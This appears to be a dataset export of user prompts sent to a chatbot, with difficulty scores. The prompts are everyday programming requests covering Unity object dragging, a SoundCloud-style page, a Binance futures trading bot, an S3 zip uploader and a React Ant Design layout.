row_id
int64
0
48.4k
init_message
stringlengths
1
342k
conversation_hash
stringlengths
32
32
scores
dict
12,656
make a button perform a scrolling of 200px in ReactJS and antDesign
ce2c00384ff5d8838e980e6854999f95
{ "intermediate": 0.4646710455417633, "beginner": 0.2507435977458954, "expert": 0.2845853269100189 }
12,657
using UnityEngine; using cakeslice; public class MoxingControl : MonoBehaviour { private Transform selectedPart = null; private Outline outline = null; private GameObject axis; private Vector3 axisOffset = Vector3.zero; private Vector3 mouseOffset = Vector3.zero; private bool isControlEnabled = false; private Color selectedColor = Color.yellow; private Animator animator; private bool animatorEnabled = true; public GameObject axisPrefab; private void Start() { axis = Instantiate(axisPrefab, Vector3.zero, Quaternion.identity); axis.SetActive(false); } private void Update() { animator = GetComponent<Animator>(); if (!isControlEnabled) return; if (Input.GetMouseButtonDown(0)) { Transform clickedPart = GetClickedPart(transform); if (clickedPart != null) { if (selectedPart != null) { Destroy(outline); if (selectedPart == clickedPart) { selectedPart = null; axis.SetActive(false); return; } } selectedPart = clickedPart; outline = selectedPart.gameObject.AddComponent<Outline>(); //outline.OutlineColor = selectedColor; //outline.OutlineWidth = 2; axis.SetActive(true); axis.transform.SetParent(transform); axis.transform.position = selectedPart.position; axisOffset = selectedPart.position - axis.transform.position; mouseOffset = selectedPart.position - Camera.main.ScreenToWorldPoint(Input.mousePosition); } else { if (selectedPart != null) { Destroy(outline); selectedPart = null; axis.SetActive(false); } } } if (Input.GetMouseButton(0) && selectedPart != null) { Vector3 mousePosition = Input.mousePosition; mousePosition.z = axisOffset.z; Vector3 worldMousePosition = Camera.main.ScreenToWorldPoint(mousePosition) + mouseOffset; Vector3 localPosition = axis.transform.InverseTransformPoint(worldMousePosition - axisOffset); localPosition.x = axis.transform.localEulerAngles.y == 90 ? -localPosition.x : localPosition.x; localPosition.y = axis.transform.localEulerAngles.x == 90 ? -localPosition.y : localPosition.y; localPosition.z = axis.transform.localEulerAngles.y == 0 ? -localPosition.z : localPosition.z; selectedPart.position = new Vector3(Mathf.Round(localPosition.x * 10000) / 10000f, Mathf.Round(localPosition.y * 10000) / 10000f, Mathf.Round(localPosition.z * 10000) / 10000f); } } private bool IsDescendant(Transform child, Transform parent) { foreach (Transform t in parent) { if (t == child) return true; if (IsDescendant(child, t)) return true; } return false; } private Transform GetClickedPart(Transform parent) { Ray ray = Camera.main.ScreenPointToRay(Input.mousePosition); RaycastHit hit; if (Physics.Raycast(ray, out hit)) { Transform clickedPart = hit.transform; if (IsDescendant(clickedPart, parent)) { return clickedPart; } } return null; } public void ToggleControlEnabled() { isControlEnabled = !isControlEnabled; animator.enabled = !animator.enabled; } }修改代码需求,点击模型零部件时,出现的坐标轴一直存在,点击其他零件时,坐标轴转移到其他零件上方,通过鼠标点击拖拽坐标轴模型的轴来带动被点击零件在x、y、z方向上的位移。
b2539c9b01e04537a8762d9ceee1894b
{ "intermediate": 0.3332851827144623, "beginner": 0.4569173753261566, "expert": 0.20979741215705872 }
12,658
Hi
dddf48ad4a04c89903c0c4a730f0bcfa
{ "intermediate": 0.33010533452033997, "beginner": 0.26984941959381104, "expert": 0.400045245885849 }
12,659
google pubsub pull message
72c551f2f14fed717579a315c094cc19
{ "intermediate": 0.33499741554260254, "beginner": 0.26410597562789917, "expert": 0.40089666843414307 }
12,660
okay i need more soundcloud look, with one column/wrapper (column/wrapper with content with few sections with different colors: header, audioplayer, about us, footer etc), on the left and right side are grey background. change my current code, index.ejs and css. here is my code: index.ejs: <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>My SoundCloud</title> <script src="/jquery/dist/jquery.min.js"></script> <script src="/jquery-ui/dist/jquery-ui.min.js"></script> <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,700" rel="stylesheet"> <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"> <link href="/css/main.css" rel="stylesheet"> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet"> <link href="/jquery-ui/themes/base/all.css" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> </head> <body> <header class="header"> <div class="container"> <div class="header-left"> <a href="/" class="logo"><i class="fa fa-soundcloud"></i> My SoundCloud</a> </div> <div class="header-right"> <ul class="nav"> <li class="nav-item"><a href="/register" class="nav-link">Register</a></li> <li class="nav-item"><a href="/login" class="nav-link">Login</a></li> <li class="nav-item"><a href="/logout" class="nav-link">Logout</a></li> </ul> </div> </div> </header> <div class="container-fluid"> <main class="main"> <section class="section section-search" id="find-musicians"> <div class="container"> <h2 class="section-title"><i class="fa fa-search" aria-hidden="true"></i> Find Musicians</h2> <form class="form-search" action="/search" method="get"> <div class="form-group"> <label for="role"><i class="fa fa-users" aria-hidden="true"></i> Role:</label> <select class="form-control" id="role" name="role"> <option value="">All</option> <option value="Band">Band</option> <option value="Artist">Artist</option> </select> </div> <div class="form-group"> <label for="genre">Search by genre:</label> <select class="form-control" id="genre" name="genre"> <option value="">All</option> </select> </div> <div class="form-group"> <label for="city"><i class="fa fa-map-marker" aria-hidden="true"></i> Location:</label> <input id="city" name="city" type="text" class="form-control" autocomplete="on" value="<%= city %>" data-value=""> </div> <button class="btn btn-primary" type="submit"><i class="fa fa-search" aria-hidden="true"></i> Search</button> </form> </div> </section> <section class="section section-audio-player"> <div class="container"> <h2 class="section-title">Listen to Our Music</h2> <div class="audio-player"> <h1 class="nowplaying">Now playing</h1> <div class="audio-tracklist"> <% tracks.forEach((track, index) => { %> <div class="audio-track"> <audio id="audio-<%= index %>" src="/tracks/<%= track.filename %>"></audio> <div class="audio-track-image" onclick="togglePlay(<%= index %>)"> <img src="/img/<%= track.image_filename || 'default-track-image.png' %>" alt="<%= track.title %>"> </div> <h4><%= track.title %></h4> </div> <% }); %> </div> <div class="audio-player-controls"> <button class="audio-player-button" onclick="togglePlay()"> <i class="audio-player-icon fa fa-play"></i> </button> <div class="audio-player-progress"> <input type="range" class="progress-bar" value="0" onchange="setProgress(this.value)"> <span class="progress-time" id="progress-time">0:00</span> </div> </div> </div> </div> </section> </main> </div> css: .section { padding: 50px 0; margin-bottom: 4rem; } .section-title { font-size: 35px; font-weight: 700; margin-bottom: 50px; text-align: center; text-transform: uppercase; } .form-search { display: flex; flex-wrap: wrap; align-items: center; justify-content: center; } .form-search .form-group { margin: 10px; } .form-search label { font-size: 18px; font-weight: 500; margin-right: 10px; } .form-search input[type="text"], .form-search select { border: none; border-radius: 0; border-bottom: 2px solid #ccc; padding: 10px; font-size: 16px; font-weight: 400; width: 200px; margin-right: 10px; } .form-search button { background-color: #ff5500; border: none; border-radius: 0; color: #fff; font-size: 16px; font-weight: 500; padding: 10px 20px; text-transform: uppercase; transition: background-color 0.3s ease-in-out; } .form-search button:hover { background-color: #d44c00; } .audio-player { background-color: #f3f3f3; border-radius: 5px; box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); padding: 20px; text-align: center; } .audio-tracklist { display: flex; flex-wrap: wrap; align-items: center; justify-content: center; margin-bottom: 20px; } .audio-track { margin: 10px; text-align: center; } .audio-track-image { border-radius: 5px; cursor: pointer; height: 200px; overflow: hidden; width: 200px; } .audio-track-image img { height: 100%; object-fit: cover; width: 100%; } .audio-track h4 { font-size: 18px; font-weight: 500; margin-top: 10px; text-align: center; } .audio-player-controls { align-items: center; display: flex; flex-wrap: wrap; justify-content: center; margin-top: 20px; } .audio-player-button { background-color: #ff5500; border: none; border-radius: 50%; color: #fff; font-size: 32px; padding: 20px; margin: 0 10px; transition: background-color 0.3s ease-in-out; } .audio-player-button:hover { background-color: #d44c00; } .audio-player-icon { margin-left: 3px; } .audio-player-progress { display: flex; flex-wrap: wrap; align-items: center; justify-content: center; margin: 0 10px; width: 100%; } .progress-bar { cursor: pointer; flex: 1; height: 5px; margin: 0 10px; outline: none; -webkit-appearance: none; background-color: #ccc; } .progress-bar::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 10px; height: 10px; border-radius: 50%; background-color: #ff5500; cursor: pointer; } .progress-time { font-size: 16px; font-weight: 500; margin: 0 10px; } /* Header */ .header { background-color: #FF5500; color: #fff; font-size: 1.2rem; padding: .5rem 0; position: fixed; top: 0; width: 100%; z-index: 100; } .header .container { display: flex; justify-content: space-between; align-items: center; } .header .logo { color: #fff; font-weight: bold; font-size: 1.5rem; text-decoration: none; } .header-right { display: flex; align-items: center; } .nav { list-style: none; margin: 0; padding: 0; } .nav-item { margin-right: 1rem; } .nav-link { color: #fff; text-decoration: none; font-weight: bold; } .nav-link:hover { color: #fff; text-decoration: underline; } .main { margin-top: 130px; /* увеличиваем отступ сверху до 130px */ background-color: #f3f3f3; border-radius: 5px; box-shadow: 0 0 5px rgba(0, 0, 0, 0.3); padding: 20px; text-align: center; }
3c65d87e691929fe2a10236fe29a2477
{ "intermediate": 0.31412890553474426, "beginner": 0.39474156498908997, "expert": 0.2911294996738434 }
12,661
the most modern of your data
ff5e0f20ec6648ec6dfdcc789b8e913f
{ "intermediate": 0.3724011778831482, "beginner": 0.24860867857933044, "expert": 0.37899014353752136 }
12,662
I used this code: import time from binance.client import Client from binance.enums import * from binance.exceptions import BinanceAPIException from binance.helpers import round_step_size import pandas as pd import json import numpy as np import pytz import datetime as dt import ccxt from decimal import Decimal import requests import hmac import hashlib import ntplib import os import ta import ta.volatility API_KEY = '' API_SECRET = '' client = Client(API_KEY, API_SECRET) # Set the endpoint and parameters for the request url = "https://fapi.binance.com/fapi/v2/account" timestamp = int(time.time() * 1000) recv_window = 10000 # update the recv_window value params = { "timestamp": timestamp, "recvWindow": recv_window } # Define the sync_time() function def sync_time(): ntp_client = ntplib.NTPClient() response = ntp_client.request('pool.ntp.org', version=3) now = time.time() offset = response.offset new_time = now + offset # Set the system clock to the new time os.system(f'sudo date -s @{int(new_time)}') print(f'New time: {dt.datetime.now()}') # Sync your local time with the server time sync_time() # Sign the message using the Client’s secret key message = "&".join([f"{k}={v}" for k, v in params.items()]) signature = hmac.new(API_SECRET.encode(), message.encode(), hashlib.sha256).hexdigest() params['signature'] = signature leverage = 100 # Send the request using the requests library response = requests.get(url, params=params, headers={'X-MBX-APIKEY': API_KEY}) account_info = response.json() # Get the USDT balance and calculate the max trade size based on the leverage try: usdt_balance = next((item for item in account_info['accountBalance'] if item["asset"] == "USDT"), {"free": 0})['free'] except KeyError: usdt_balance = 0 print("Error: Could not retrieve USDT balance from API response.") max_trade_size = float(usdt_balance) * leverage # Get the current time and timestamp now = dt.datetime.now() date = now.strftime("%m/%d/%Y %H:%M:%S") print(date) timestamp = int(time.time() * 1000) STOP_LOSS_PERCENTAGE = -50 TAKE_PROFIT_PERCENTAGE = 100 MAX_TRADE_QUANTITY_PERCENTAGE = 100 POSITION_SIDE_SHORT = 'SELL' POSITION_SIDE_LONG = 'BUY' quantity = 1 symbol = 'BTC/USDT' order_type = 'market' leverage = 100 max_trade_quantity_percentage = 1 binance_futures = ccxt.binance({ 'apiKey': API_KEY, 'secret': API_SECRET, 'enableRateLimit': True, # enable rate limitation 'options': { 'defaultType': 'future', 'adjustForTimeDifference': True },'future': { 'sideEffectType': 'MARGIN_BUY', # MARGIN_BUY, AUTO_REPAY, etc… } }) # Load the market symbols url = f'https://api.binance.com/api/v3/ticker/price?symbol={symbol}' response = requests.get(url) ticker = response.json() current_price = float(ticker['price']) def get_server_time(): ntp_client = ntplib.NTPClient() response = ntp_client.request('pool.ntp.org', version=3) now = time.time() offset = response.offset new_time = now + offset # Set the system clock to the new time os.system(f'sudo date -s @{int(new_time)}') print(f'New time: {dt.datetime.now()}') params = { "timestamp": timestamp, "recvWindow": recv_window } try: markets = binance_futures.load_markets() except ccxt.BaseError as e: print(f'Error fetching markets: {e}') markets = [] if symbol in markets: print(f"{symbol} found in the market") else: print(f"{symbol} not found in the market") # Get server time and time difference def get_server_time(exchange): return exchange.fetch_time() def get_time_difference(): server_time = get_server_time(binance_futures) local_time = int(time.time() * 1000) time_difference = local_time - server_time return time_difference time.sleep(1) def get_klines(symbol, interval, lookback): url = "https://fapi.binance.com/fapi/v1/klines" end_time = int(time.time() * 1000) # end time is now start_time = end_time - (lookback * 60 * 1000) # start time is lookback minutes ago symbol = symbol.replace("/", "") # remove slash from symbol query_params = f"?symbol={symbol}&interval={interval}&startTime={start_time}&endTime={end_time}" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36' } response = requests.get(url + query_params, headers=headers) response.raise_for_status() data = response.json() if not data: # if data is empty, return None print('No data found for the given timeframe and symbol') return None ohlc = [] for d in data: timestamp = dt.datetime.fromtimestamp(d[0]/1000).strftime('%Y-%m-%d %H:%M:%S') ohlc.append({ 'Open time': timestamp, 'Open': float(d[1]), 'High': float(d[2]), 'Low': float(d[3]), 'Close': float(d[4]), 'Volume': float(d[5]) }) df = pd.DataFrame(ohlc) df.set_index('Open time', inplace=True) return df df = get_klines(symbol, '1m', 44640) def signal_generator(df): # Calculate EMA and MA lines df['EMA5'] = df['Close'].ewm(span=5, adjust=False).mean() df['EMA20'] = df['Close'].ewm(span=20, adjust=False).mean() df['EMA50'] = df['Close'].ewm(span=50, adjust=False).mean() df['EMA100'] = df['Close'].ewm(span=100, adjust=False).mean() df['MA10'] = df['Close'].rolling(window=10).mean() df['MA50'] = df['Close'].rolling(window=50).mean() df['MA100'] = df['Close'].rolling(window=100).mean() # Calculate the last candlestick last_candle = df.iloc[-1] # Check for bullish signals if current_price > last_candle[['EMA5', 'EMA20', 'EMA50', 'EMA100']].iloc[-1].max() * 1.01: if last_candle[['EMA5', 'MA10', 'MA50', 'MA100']].iloc[-1].min() > current_price * 0.999: return 'buy' # Check for bearish signals elif current_price < last_candle[['EMA5', 'EMA20', 'EMA50', 'EMA100']].iloc[-1].min() * 0.99: if last_candle[['EMA5', 'MA10', 'MA50', 'MA100']].iloc[-1].max() < current_price * 1.001: return 'sell' # If no signal found, return an empty string return '' df = get_klines(symbol, '1m', 44640) def order_execution(symbol, signal, step_size, leverage, order_type): # Set default value for response response = {} # Close any existing positions current_position = None positions = binance_futures.fapiPrivateGetPositionRisk() for position in positions: if position["symbol"] == symbol: current_position = position if current_position is not None and current_position["positionAmt"] != 0: response = binance_futures.fapiPrivatePostOrder( symbol=symbol, side='SELL' if current_position['positionSide'] == 'LONG' else 'BUY', type='MARKET', quantity=abs(float(current_position['positionAmt'])), positionSide=current_position['positionSide'], reduceOnly=True ) if 'orderId' in response: print(f'Closed position: {response}') else: print(f'Error closing position: {response}') time.sleep(1) # Calculate appropriate order quantity and price based on signal opposite_position = None quantity = step_size position_side = None #initialise to None price = None # Set default take profit price take_profit_price = None stop_loss_price = None if signal == 'buy': position_side = 'BOTH' opposite_position = current_position if current_position and current_position['positionSide'] == 'SHORT' else None order_type = 'TAKE_PROFIT_MARKET' ticker = binance_futures.fetch_ticker(symbol) price = 0 # default price if 'ask' in ticker: price = ticker['ask'] # perform rounding and other operations on price else: # handle the case where the key is missing (e.g. raise an exception, skip this signal, etc.) take_profit_percentage = TAKE_PROFIT_PERCENTAGE stop_loss_percentage = STOP_LOSS_PERCENTAGE elif signal == 'sell': position_side = 'BOTH' opposite_position = current_position if current_position and current_position['positionSide'] == 'LONG' else None order_type = 'STOP_MARKET' ticker = binance_futures.fetch_ticker(symbol) price = 0 # default price if 'bid' in ticker: price = ticker['bid'] # perform rounding and other operations on price else: # handle the case where the key is missing (e.g. raise an exception, skip this signal, etc.) take_profit_percentage = TAKE_PROFIT_PERCENTAGE stop_loss_percentage = STOP_LOSS_PERCENTAGE # Set stop loss price stop_loss_price = None if price is not None: price = round_step_size(price, step_size=step_size) if signal == 'buy': # Calculate take profit and stop loss prices for a buy signal take_profit_price = round_step_size(price * (1 + TAKE_PROFIT_PERCENTAGE / 100), step_size=step_size) stop_loss_price = round_step_size(price * (1 - STOP_LOSS_PERCENTAGE / 100), step_size=step_size) elif signal == 'sell': # Calculate take profit and stop loss prices for a sell signal take_profit_price = round_step_size(price * (1 - TAKE_PROFIT_PERCENTAGE / 100), step_size=step_size) stop_loss_price = round_step_size(price * (1 + STOP_LOSS_PERCENTAGE / 100), step_size=step_size) # Placing new order api_method = 'fapiPrivatePostOrder' params = { 'symbol': symbol, 'side': signal.upper(), 'type': order_type, 'quantity': quantity, 'positionSide': position_side, 'leverage': leverage, 'price': price, 'stopPrice': stop_loss_price, 'takeProfit': take_profit_price } response = getattr(binance_futures, api_method)(params=params) if 'orderId' in response: print(f'Order placed: {response}') else: print(f'Error placing order: {response}') time.sleep(1) return response signal = signal_generator(df) while True: df = get_klines(symbol, '1m', 44640) # await the coroutine function here if df is not None: signal = signal_generator(df) if signal is not None: print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}:{signal}") time.sleep(1) But I getting ERROR: Traceback (most recent call last): File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 99, in <module> current_price = float(ticker['price']) ~~~~~~^^^^^^^^^ KeyError: 'price'
4ee02414e695a6ca50eb1d727b1ebb3b
{ "intermediate": 0.37518611550331116, "beginner": 0.3689371943473816, "expert": 0.25587666034698486 }
12,663
unsupported operand type(s) for +: 'float' and 'str'. there was no issues in another python environment
9b155403f68d0ed1f1aecc7f506e9b74
{ "intermediate": 0.5183155536651611, "beginner": 0.20406019687652588, "expert": 0.2776242196559906 }
12,664
Write a python program that analyze all zip files present in an "File_Input" Folder and send to an S3 storage all files found within the zip file, if a zip files gives an error mov it to a "Error folder", all zip files without errors are moved to a "File_done" folder. The python program must be able to recognize there is an already running program and stop execution.
6d47b64551da9f2dc3da3b0c11c9e32f
{ "intermediate": 0.4353276789188385, "beginner": 0.1553148627281189, "expert": 0.4093574285507202 }
12,665
ERROR: Could not build wheels for pandas, which is required to install pyproject.toml-based projects
6e7903de3f7564189b31efb631b24264
{ "intermediate": 0.5555747747421265, "beginner": 0.1682392954826355, "expert": 0.2761859595775604 }
12,666
excel vba form for that show content of table in excel consists from three column and do a add new , update ,delete optioration and dont repeat entries
23ea1f0a6f9cd269908f3f5bcee126b4
{ "intermediate": 0.34378746151924133, "beginner": 0.25811368227005005, "expert": 0.398098886013031 }
12,667
añade en la siguiente funcion que los secene_element_select no pueda moverse a través de los objetos que aparezcan en el debug.log del final del codigo public void SceneDrag() { Vector3 mousePosition = Input.mousePosition; Ray ray = Camera.main.ScreenPointToRay(mousePosition); Plane plane = new Plane(Vector3.up, scene_element_select.transform.position); float distance; if (plane.Raycast(ray, out distance)) { Vector3 clickPos = ray.GetPoint(distance); Vector3 objectPos = scene_element_select.transform.position; Vector3 orientacion = objectPos - clickPos; setreference(orientacion); float distanciaInicial = orientacion.magnitude; Vector3 direccion = orientacion.normalized; Vector3 newObjectPos = objectPos - (direccion * distanciaInicial); scene_element_select.transform.position = reference + clickPos; // Mostrar en debug los objetos que hacen contacto con el Collider LayerMask layerMask = LayerMask.GetMask("Furniture", "RoomComponents"); Collider[] colliders = scene_element_select.GetComponentsInChildren<Collider>(); foreach (Collider collider in colliders) { if (collider.gameObject.layer == LayerMask.NameToLayer("Furniture") || collider.gameObject.layer == LayerMask.NameToLayer("RoomComponents")) { Collider[] overlappingColliders = Physics.OverlapBox(collider.bounds.center, collider.bounds.extents, Quaternion.identity, layerMask); foreach (Collider overlappingCollider in overlappingColliders) { if (overlappingCollider.transform.IsChildOf(scene_element_select.transform)) continue; Debug.Log("Collider contacto: " + overlappingCollider.name); } } } } if (inventory_hover) { Scene_to_inventory(scene_element_select); } }
c4e799921a03918c3d9f7b010fbf9870
{ "intermediate": 0.343720942735672, "beginner": 0.4618431627750397, "expert": 0.19443592429161072 }
12,668
python -m build
64a4941ea6bbd5470fc9d1ecdc73f89b
{ "intermediate": 0.36935845017433167, "beginner": 0.24444566667079926, "expert": 0.3861958980560303 }
12,669
using UnityEngine; using cakeslice; public class MoxingControl : MonoBehaviour { private Transform selectedPart = null; private Outline outline = null; private GameObject axis; private Vector3 axisOffset = Vector3.zero; private Vector3 mouseOffset = Vector3.zero; private bool isControlEnabled = false; private Color selectedColor = Color.yellow; private Animator animator; private bool animatorEnabled = true; public GameObject axisPrefab; private void Start() { axis = Instantiate(axisPrefab, Vector3.zero, Quaternion.identity); axis.SetActive(false); } private void Update() { animator = GetComponent<Animator>(); if (!isControlEnabled) return; if (Input.GetMouseButtonDown(0)) { Transform clickedPart = GetClickedPart(transform); if (clickedPart != null) { if (selectedPart != null) { Destroy(outline); } selectedPart = clickedPart; outline = selectedPart.gameObject.AddComponent<Outline>(); //outline.OutlineColor = selectedColor; //outline.OutlineWidth = 2; axis.SetActive(true); axis.transform.SetParent(transform); axis.transform.position = selectedPart.position; axisOffset = axis.transform.position - selectedPart.position; mouseOffset = selectedPart.position - Camera.main.ScreenToWorldPoint(Input.mousePosition); } else { if (selectedPart != null) { Destroy(outline); selectedPart = null; axis.SetActive(false); } } } if (Input.GetMouseButton(0) && selectedPart != null) { Vector3 mousePosition = Input.mousePosition; mousePosition.z = axisOffset.z; Vector3 worldMousePosition = Camera.main.ScreenToWorldPoint(mousePosition) + mouseOffset; Vector3 localPosition = axis.transform.InverseTransformPoint(worldMousePosition) - axisOffset; float xOffset = Mathf.Round(localPosition.x * 1000) / 1000f; float yOffset = Mathf.Round(localPosition.y * 1000) / 1000f; float zOffset = Mathf.Round(localPosition.z * 1000) / 1000f; selectedPart.position += new Vector3(xOffset, yOffset, zOffset); } if (selectedPart != null) { axis.transform.position = selectedPart.position + axisOffset; } } private bool IsDescendant(Transform child, Transform parent) { foreach (Transform t in parent) { if (t == child) return true; if (IsDescendant(child, t)) return true; } return false; } private Transform GetClickedPart(Transform parent) { Ray ray = Camera.main.ScreenPointToRay(Input.mousePosition); RaycastHit hit; if (Physics.Raycast(ray, out hit)) { Transform clickedPart = hit.transform; if (IsDescendant(clickedPart, parent)) { return clickedPart; } } return null; } public void ToggleControlEnabled() { isControlEnabled = !isControlEnabled; animator.enabled = !animator.enabled; if (!isControlEnabled && selectedPart != null) { Destroy(outline); selectedPart = null; axis.SetActive(false); } } }点击选中模型部件后,坐标轴出现在部件世界坐标系上方0.15f处,并通过点击拖拽坐标轴模型带动部件进行位移
0efebb4e19bb1b9796bb1d5a75ba0150
{ "intermediate": 0.34832143783569336, "beginner": 0.5021465420722961, "expert": 0.14953204989433289 }
12,670
Hello
06ee4f91f207c721f88972b40d6cb61f
{ "intermediate": 0.3123404085636139, "beginner": 0.2729349136352539, "expert": 0.4147246778011322 }
12,671
final textNodes = _document.findAllElements('w:t'); final tableNodes = _document.findAllElements('w:tbl'); final textList = textNodes.map((node) => node.innerText).toList(); return textList; i want remove tag in textNodes
4d90315a22c8d2f9383409354e162388
{ "intermediate": 0.3677014112472534, "beginner": 0.32314249873161316, "expert": 0.3091561496257782 }
12,672
this is a reactJS app.js file, there's a problem with the sider on mobile screens, figure it out. "import 'antd/dist/reset.css'; import './components/index.css' import { LoginOutlined, MenuOutlined, CloseOutlined, UploadOutlined, MailOutlined, WalletOutlined, MobileOutlined, UserAddOutlined, ArrowRightOutlined, DownOutlined, LockOutlined, GoogleOutlined, UserOutlined, VideoCameraOutlined, } from '@ant-design/icons'; import { Layout, Button, Typography, Row, Col, Divider, Menu, Modal, Tabs, Form, Input, Checkbox, ConfigProvider, Space } from 'antd'; import { useState, useEffect } from 'react'; import heroimg from './hero.png'; const App = () => { const [collapsed, setCollapsed] = useState(true); const [size, setSize] = useState('large'); const { Title } = Typography; const TabPane = Tabs.TabPane const { Header, Sider, Content, Footer } = Layout; const [open, setOpen] = useState(false); const [confirmLoading, setConfirmLoading] = useState(false); const [modalText, setModalText] = useState('Content of the modal'); const showModal = () => { setOpen(true); }; const handleOk = () => { setModalText(""); setConfirmLoading(true); setTimeout(() => { setOpen(false); setConfirmLoading(false); }, 2000); }; const handleCancel = () => { console.log('Clicked cancel button'); setOpen(false); }; return ( <ConfigProvider theme={{ token: { colorPrimary: '#5E4AE3', }, }} > <Layout> <Sider collapsedWidth="0" trigger={null} collapsible collapsed={collapsed} style={{ border: '0', backgroundColor: '#000000' }}> <Menu theme="dark" mode="inline" style={{ backgroundColor: '#000000' }} defaultSelectedKeys={['1']} items={[ { key: '1', icon: <UserOutlined />, label: 'nav 1', }, { key: '2', icon: <VideoCameraOutlined />, label: 'nav 2', }, { key: '3', icon: <UploadOutlined />, label: 'nav 3', }, ]} /> </Sider> <Layout className="layout" direction="rtl"> <Header style={{ borderBottom: 'solid 2px #1e1e1e', paddingInline: '0', backgroundColor:'#121212' }}> <Row style={{ display: 'flex', justifyContent: 'space-between', border: '0' }} align="middle"> <Col style={{}}> <Row style={{ flexWrap: "nowrap" }}> <Button type="text" icon={collapsed ? <MenuOutlined /> : <CloseOutlined />} onClick={() => setCollapsed(!collapsed)} style={{ fontSize: '16px', width: 64, height: 64, color: '#5E4AE3', whiteSpace: 'nowrap' }} /> <Title style={{ whiteSpace: 'nowrap', color: '#DDDCDC', paddingTop: '12px' }} level={3}>CryptoTasky</Title> </Row> </Col> <Col style={{ marginLeft: '10px', position: 'absolute', left: '0' }}> <Button style={{ color: '#f5f5f5' }} type="primary" shape="round" icon={<LoginOutlined />} size={size} className="hidden-sm" onClick={showModal}> تسجيل / تسجيل دخول </Button> <Button style={{ color: '#f5f5f5' }} type="primary" shape="round" icon={<LoginOutlined />} size={size} className="visible-sm" onClick={showModal}> </Button> </Col> </Row> </Header> <Divider style={{ margin: '0', backgroundColor: '#262626' }} /> <Content style={{ backgroundColor: '#121212', border: '0' }}> <div className="site-layout-content" style={{ background: '#121212', border: '0' }}> <div className="hero-section container" style={{ color: '#DDDCDC' }}> <Row justify="space-around" align="middle"> <Col xs={24} sm={24} md={12} style={{ marginTop:'30px' }}> <p style={{ color: '#5E4AE3', padding: '0' }}> زد من دخلك </p> <Title level={1} style={{ color: '#DDDCDC', marginTop: '-10' }}>قم بالمهام البسيطة وتقاضى الأجر!</Title> <p style={{ color: '#DDDCDC' }}> كل ما عليك فعله هو تقييم الخدمات التجارية عبر الإنترنت وسندفع لك المال مقابل كل تقييم تقوم به، <br /> فقط قم بعمل حساب جديد ويمكنك البدء في تنفيذ المهام على الفور! </p> <Space size="small"> <Button type="primary" shape="round" size="large" icon={<ArrowRightOutlined />} onClick={showModal}> سجّل الأن </Button> <space /> <Button shape="round" size="large" icon={<DownOutlined />} style={{ backgroundColor: 'transparent', color: '#DDDCDC' }}> المزيد </Button> </Space> </Col> <Col xs={24} sm={24} md={12} style={{ marginTop: '30px' }}> <img src={heroimg} alt="كريبتو تاسكي" style={{ width: "100%", maxHeight: '400px', objectFit: "cover" }} /> </Col> </Row> </div> </div> </Content> <Divider style={{ margin: '0', backgroundColor: '#262626' }} /> <Footer style={{ textAlign: 'center', backgroundColor: '#1e1e1e', border: '0' }}>كل الحقوق محفوظة لموقع Cryptotasky ©لسنة 2023</Footer> </Layout> </Layout> <Modal open={open} onOk={handleOk} confirmLoading={confirmLoading} onCancel={handleCancel} footer={[null]} > <Tabs style={{ backgroundColor: '#1e1e1e', color: '#F5F5F5' }} defaultActiveKey="1" centered > <TabPane tab={ <span> <LoginOutlined style={{ padding: '0 0 0 5' }} /> تسجيل دخول </span> } key="1" > <Form name="normal_login" className="login-form" initialValues={{ remember: true, }} style={{ paddingTop: '60px;' }} > <Form.Item name="إسم المُستخدم" rules={[ { required: true, message: 'من فضلك أدخل إسم المُستخدم', }, ]} > <Input size="large" prefix={<UserOutlined className="site-form-item-icon" />} placeholder="إسم المُستخدم" /> </Form.Item> <Form.Item name="password" rules={[ { required: true, message: 'من فضلك أدخل كلمة المرور', }, ]} > <Input size="large" prefix={<LockOutlined className="site-form-item-icon" />} type="password" placeholder="كلمة المرور" /> </Form.Item> <Form.Item> <Form.Item name="remember" valuePropName="checked" noStyle> <Checkbox>تذكرني</Checkbox> </Form.Item> <a className="login-form-forgot" href=""> نسيت كلمة المرور؟ </a> </Form.Item> <Form.Item className="justify-end"> <Button style={{ width: '100%' }} size="large" shape="round" icon={<LoginOutlined />} type="primary" htmlType="submit" className="login-form-button"> تسجيل دخول </Button> </Form.Item> </Form> </TabPane> <TabPane tab={ <span> <UserAddOutlined style={{ padding: '0 0 0 5' }} /> تسجيل حساب </span> } key="2" > <Form name="normal_login" className="login-form" initialValues={{ remember: true, }} > <Form.Item name="إسم المُستخدم" rules={[ { required: true, message: 'من فضلك أدخل إسم المُستخدم', }, ]} > <Input size="large" prefix={<UserOutlined className="site-form-item-icon" />} placeholder="Username" /> </Form.Item> <Form.Item name="البريد الإلكتروني" rules={[ { required: true, message: 'من فضلك أدخل البريد الإلكتروني', }, ]} > <Input size="large" prefix={<MailOutlined className="site-form-item-icon" />} placeholder="Example@email.com" /> </Form.Item> <Form.Item name="رقم الهاتف" rules={[ { required: true, message: 'من فضلك أدخل رقم الهاتف', }, ]} > <Input size="large" type="Email" prefix={<MobileOutlined className="site-form-item-icon" />} placeholder="+X XXX XXX XXXX" /> </Form.Item> <Form.Item name="رقم المحفظة TRX" rules={[ { required: true, message: 'من فضلك أدخل رقم المحفظة', }, ]} > <Input size="large" prefix={<WalletOutlined className="site-form-item-icon" />} placeholder="TBia4uHnb3oSSZm5isP284cA7Np1v15Vhi" /> </Form.Item> <Form.Item name="password" rules={[ { required: true, message: 'من فضلك أدخل كلمة المرور', }, ]} > <Input prefix={<LockOutlined className="site-form-item-icon" />} type="password" size="large" placeholder="كلمة المرور" /> </Form.Item> <Form.Item> <Form.Item name="remember" valuePropName="checked" noStyle> <Checkbox>تذكرني</Checkbox> </Form.Item> <a className="login-form-forgot" 